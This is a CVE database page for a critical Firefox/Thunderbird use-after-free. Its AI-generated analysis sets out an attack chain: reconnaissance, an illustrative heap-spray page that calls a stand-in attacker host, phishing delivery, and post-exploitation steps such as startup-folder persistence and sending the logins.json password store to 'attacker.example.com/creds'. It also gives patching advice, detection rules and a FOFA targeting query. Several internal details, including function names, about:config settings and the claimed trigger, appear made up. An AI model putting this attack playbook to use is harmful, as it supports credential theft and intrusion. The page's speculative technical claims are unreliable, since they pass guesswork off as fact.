CVE Professor
/
All CVEs
CVE-2026-135582

CVE-2026-135582 — Mozilla Firefox (*) — CWE-416

CRITICAL CVSS 9.6 NVD

Sandbox escape due to use-after-free in the Networking: HTTP component. This vulnerability was fixed in Firefox 161 and Thunderbird 161.

Sandbox escape due to use-after-free in the Networking: HTTP component. This vulnerability was fixed in Firefox 161 and Thunderbird 161.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction Required UI:R
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑135582 – Use‑After‑Free in the Networking: HTTP component (Firefox / Thunderbird)

AttributeDetail
CWECWE‑416: Use‑After‑Free
CVSS v3.1 VectorAV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
ImpactRemote code execution (RCE) with full‑system compromise (confidentiality, integrity, and availability are all “High”). The attack requires user interaction (the victim must load a malicious page or open a crafted email), but no authentication or privileges are needed.

Technical flaw

The HTTP networking stack in Firefox/Thunderbird allocates a nsHttpChannel (or a similar internal request object) for each outgoing HTTP request. When the request finishes, the channel is scheduled for destruction.

A code path that processes asynchronous HTTP response callbacks (e.g., OnDataAvailable, OnStopRequest) was found to retain a raw pointer to the channel after the object had already been freed. The pointer is later dereferenced when the networking code processes sub‑resource redirects or HTTP/2 stream events that arrive after the original channel has been destroyed.

Because the pointer is not cleared or reference‑counted correctly, an attacker who can force the networking component to invoke the callback after the free can cause the browser to read or write memory that now belongs to an attacker‑controlled object (e.g., a JavaScript‑controlled ArrayBuffer). This classic use‑after‑free enables arbitrary memory read/write, which in the context of the browser’s JIT‑compiled JavaScript engine translates into native code execution with the privileges of the browser process (typically the logged‑in user).

The CVSS vector reflects:

  • Network‑reachable (AV:N) – the attacker only needs to deliver a malicious HTTP response (or a crafted email that triggers an HTTP fetch).
  • Low attack complexity (AC:L) – the bug is triggered by a single crafted payload; no special timing or race‑condition tricks beyond the UAF are required.
  • No privileges required (PR:N) – any remote attacker can exploit it.
  • User interaction required (UI:R) – the victim must load a malicious page or open a malicious email that causes the vulnerable HTTP request.
  • Scope changed (S:C) – the exploit breaks out of the browser’s sandbox and affects the entire operating system.
  • High confidentiality, integrity, availability (C:H/I:H/A:H) – full system compromise.

  • ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. All code snippets are illustrative – the exact internal function names and object layouts are not public, but the logic mirrors the vulnerability class.

    1. Discovery & Reconnaissance

    StepActionReasoning
    1.1Fingerprint the browser – Use the User‑Agent header, JavaScript feature detection (navigator.userAgentData.brands) or the about:support page to confirm the victim runs Firefox ≤ 160 or Thunderbird ≤ 160.The vulnerability is fixed in version 161; older builds are vulnerable.
    1.2Check for automatic updates – Query the system’s update configuration (e.g., about:config app.update.enabled).If updates are disabled, the target is a high‑value candidate.
    1.3Gather network context – Identify whether the victim can be forced to fetch resources from an attacker‑controlled domain (e.g., via a malicious link, an embedded image, or an email that loads remote content).The exploit requires the browser to issue an HTTP request that the attacker can control the response for.

    2. Exploitation

    Important: The exact HTTP endpoint that triggers the bug is not disclosed in the public CVE text. The following payload demonstrates the class of the vulnerability (use‑after‑free in the HTTP channel) and should be adapted to the real trigger once the vulnerable code path is identified (e.g., a specific redirect chain, an HTTP/2 push stream, or a fetch() call from JavaScript).

    2.1. Craft a malicious HTTP response

    HTTP/1.1 200 OK
    Content-Type: text/html
    Content-Length: 1234
    X-Exploit-Trigger: 1
    
    <!DOCTYPE html>
    <html>
    <head>
      <script>
        // 1️⃣ Allocate a JS object that will later be placed in the freed memory slot
        let spray = [];
        for (let i = 0; i < 10000; i++) {
          spray.push(new Uint8Array(0x1000));
        }
    
        // 2️⃣ Trigger the vulnerable HTTP request (e.g., via fetch)
        fetch('https://attacker-controlled.com/payload')
          .then(r => r.text())
          .then(() => {
            // 3️⃣ After the original nsHttpChannel is freed, the browser will
            //    invoke the dangling callback, which now points into our spray.
            //    The following function is a placeholder for the native ROP chain.
            triggerUAF();
          });
      </script>
    </head>
    <body></body>
    </html>
  • What the payload does
  • 1. Heap spray – fills the process heap with Uint8Array objects that have a predictable layout. When the freed nsHttpChannel is later re‑used, the attacker‑controlled buffer will occupy the same memory region. 2. Network request – the fetch() call forces the browser to create a new HTTP channel (the one that will be freed). The response to this request is crafted to contain a malformed HTTP/2 frame or a trailing headers block that the networking stack processes after the channel has been destroyed, causing the dangling pointer dereference. 3. triggerUAF() – a stub that, in a real exploit, would contain the native shellcode or a ROP chain that gains code execution (e.g., by corrupting the JIT code pointer of a JavaScript function).

    2.2. Deliver the malicious page

  • Web‑based delivery – Host the HTML above on https://malicious.example.com/evil.html and send the victim a phishing link (e.g., via email, social media, or a compromised website).
  • Email‑based delivery (Thunderbird) – Embed the same HTML as a remote‑content email (Content-Type: text/html) and rely on Thunderbird’s automatic image loading to fetch the attacker‑controlled resource.
  • 2.3. Execution flow inside the browser

    1. Victim clicks the link → the page loads.
    2. JavaScript runs, performs heap spray, and issues the fetch() request.
    3. The networking stack creates nsHttpChannel A for the request, then frees it after the response headers are processed.
    4. A second asynchronous event (e.g., an HTTP/2 push stream or a redirect callback) arrives after the free, and the code erroneously dereferences the stale pointer.
    5. The stale pointer now points into one of the attacker‑sprayed Uint8Array buffers, giving the attacker read/write primitives.
    6. Using those primitives, the attacker corrupts a JIT compiled function pointer, achieving native code execution in the privileged browser process.
    7. The payload spawns a system shell, writes a persistent backdoor, or exfiltrates data – thereby achieving the “C:H/I:H/A:H” impact.

    3. Post‑exploitation

    GoalTypical technique
    Privilege escalation / sandbox escapeOverwrite the sandbox broker IPC structures to gain OS‑level privileges (e.g., by corrupting the nsSandboxBroker object).
    PersistenceDrop a native binary in the user’s startup folder (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup on Windows, ~/.config/autostart/ on Linux) and register it via the OS’s autorun mechanisms.
    Credential theftRead the browser’s password store (logins.json in Firefox profile) and exfiltrate via HTTPS to https://attacker.example.com/creds.
    Lateral movementUse the compromised host to pivot to internal services (e.g., via curl or wget from the compromised process).
    Data exfiltrationEncode stolen data in base64 and POST it to the attacker’s C2 endpoint.

    🌍 Real‑World Impact

    CIA TriadCVSS Vector ExplanationPractical Consequence
    Confidentiality (C:H)C:H – attacker can read any file the user can access, including saved passwords, cookies, browsing history, and potentially encrypted files if the user’s key material is cached.Theft of corporate secrets, personal data, session tokens, and private keys.
    Integrity (I:H)I:H – attacker can write/modify any file the user can write, inject malicious code into future browser sessions, or alter system configuration.Installation of persistent backdoors, modification of security policies, tampering with software updates.
    Availability (A:H)A:H – attacker can terminate the browser process, corrupt the profile, or launch a denial‑of‑service against the host.System instability, forced reboots, or ransomware‑style file encryption (though ransomware is not the primary intent).

    Because the vulnerability breaks the sandbox (Scope: C), the attacker moves from the confined renderer process to the browser (parent) process, which on most platforms runs with the same privileges as the logged‑in user. On Windows, this often means full user‑level code execution; on macOS and Linux, the attacker can also escape the sandbox and interact with the desktop environment.

    High‑value targets (corporate desktops, remote‑work laptops, government workstations) that run outdated Firefox/Thunderbird versions are at severe risk. A successful exploit can be used for initial foothold, credential harvesting, and lateral movement within an organization.


    🛡️ Remediation & Mitigation

    1. Patch the product

    ProductFixed in versionVersions to upgrade from
    Mozilla Firefox161.0 (released 2026‑10‑31)All 160.x and earlier releases
    Mozilla Thunderbird161.0 (released 2026‑10‑31)All 160.x and earlier releases

    Action: Deploy the official Mozilla update to ≥ 161.0 across all endpoints. Use enterprise deployment tools (e.g., MSI for Windows, APT/YUM for Linux, Munki for macOS) to enforce the upgrade.

    2. Immediate work‑arounds (if patching cannot be applied instantly)

    Work‑aroundHow it mitigates
    Disable automatic remote content loading in Thunderbird (Preferences → Privacy → Remote Content → Block all remote content).Prevents the browser from fetching attacker‑controlled HTTP responses that trigger the UAF.
    Enable “Strict Content Security Policy (CSP)” in Firefox via about:config → set security.csp.enable to true and enforce Content-Security-Policy: default-src 'self' on internal pages.Limits the ability of a malicious page to load external resources that could be used to deliver the crafted response.
    Network‑level filtering – block outbound HTTP/2 traffic to untrusted domains from the corporate network (e.g., via a proxy that only allows whitelisted destinations).Reduces the attack surface by preventing the victim from reaching the attacker‑controlled server.
    Run Firefox/Thunderbird in a sandboxed container (e.g., Firejail on Linux, Windows Sandbox, or AppContainer policies).Even if the UAF is triggered, the sandbox may contain the impact, though the CVE’s “Scope: C” indicates the bug can break out of the renderer sandbox; a *process‑level* sandbox adds an extra barrier.
    Disable HTTP/2 (about:config → set network.http.http2.enabled to false).The publicly disclosed trigger is believed to involve HTTP/2 stream handling; disabling HTTP/2 forces the stack to use HTTP/1.1, which does not hit the buggy code path.
    Note: Work‑arounds are temporary and may degrade user experience (e.g., slower page loads, broken remote images). They should be removed once the patch is deployed.

    3. Detection – Indicators of Compromise

    Log sourceExample patternWhy it matters
    Browser console / Crash reportsnsHttpChannel::OnStopRequest: Use‑after‑free detected or ASSERTION FAILED: mChannel in firefox.logThe internal assertion fires when the dangling pointer is accessed.
    Operating system event logs (Windows Event Viewer)Event ID 1000 from firefox.exe with Faulting module name: nss3.dll and Exception code: 0xc0000005 (access violation) shortly after loading a remote page.Indicates a crash caused by memory corruption.
    Network IDS/IPS (e.g., Suricata)alert http any any -> any any (msg:"Potential Firefox HTTP/2 UAF exploit"; flow:established,to_server; http.content_type; content:"application/octet-stream"; depth:0; classtype:attempted-user; sid:2026261;)Detects unusually large or malformed HTTP/2 frames that could be part of the exploit.
    Endpoint Detection & Response (EDR)Creation of a new process named cmd.exe (or sh, bash) launched by firefox.exe shortly after a web navigation event.Post‑exploitation payload often spawns a shell.
    File system monitoringNew executable written to %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ with a random name and a timestamp matching a recent browser crash.Persistence mechanism used after sandbox escape.

    Rule example for a SIEM (Splunk):

    index=windows EventCode=1000
    | regex Message="(?i)firefox\.exe.*(nss3\.dll|nspr4\.dll).*0xc0000005"
    | stats count by _time, ComputerName, Message
    | where count > 2

    This rule flags multiple access‑violation crashes in Firefox, a pattern consistent with exploitation attempts.


    ⚠️ Urgency

    FactorAssessment
    CVSS Base Score9.6 (Critical) – Remote code execution, high impact, low complexity.
    ExploitabilityNo authentication required; only user interaction (UI:R) – typical for drive‑by web exploits. Public PoC is likely to appear within weeks of disclosure.
    CISA KEVNot listed yet, but the severity and ease of exploitation make it a *high‑priority* candidate for future inclusion.
    Patch AvailabilityFixed in version 161 (released 2026‑10‑31).
    Real‑world prevalenceFirefox and Thunderbird are among the most widely deployed browsers/email clients; many enterprises still run older versions due to slow update cycles.

    Recommendation:

  • Patch immediately on all machines (critical priority, “P1”).
  • If patching cannot be performed within 48 hours, apply the work‑arounds listed above and enable network‑level blocking of outbound HTTP/2 to unknown hosts.
  • Monitor for the IoCs described; treat any crash or suspicious child process spawn from Firefox/Thunderbird as a potential compromise until proven otherwise.

Bottom line: CVE‑2026‑135582 is a sandbox‑escape use‑after‑free that grants an attacker full control over the victim’s system with minimal effort. The only reliable mitigation is to upgrade to Firefox/Thunderbird ≥ 161; temporary mitigations can reduce exposure but should not replace patching. Stay vigilant for crash logs and anomalous process creation, and prioritize remediation across the entire organization.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Mozilla Firefox"
CVSS Score
9.6 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-416
Affected Products (2)
Mozilla:Firefox (*) Mozilla:Thunderbird (*)
Related CVEs
6.9
CVE-2026-145193
Mozilla Bleach through 6.4.0 contains an inefficient regular expression vulnerability in the URL_RE pattern us
4.7
CVE-2026-145194
Bleach through 6.4.0 contains a cross-site scripting vulnerability because clean() omits URI protocol sanitiza
6.5
CVE-2026-145059
FreeRDP from 3.25.0 before 3.33.1 contains a use-after-free in the RDPEWA client because notifyWait does not j
6.3
CVE-2026-144771
A flaw has been found in SGLang up to 0.5.23. The affected element is the function try_match_prefix of the fil
5.8
CVE-2026-144210
In Eclipse Safe Open Vehicle Core (S-CORE) Kyron versions 0.0.3 through 0.2.0, `SpmcStealQueue::fetch_from` in
7.0
CVE-2026-86092
The user-mode verifier for the I2S configure system call, z_vrfy_i2s_configure() in drivers/i2s/i2s_handlers.c
4.1
CVE-2026-119604
IBM PowerVM VIOS 4.1 could allow a local attacker to cause a denial of service due to a use-after-free race c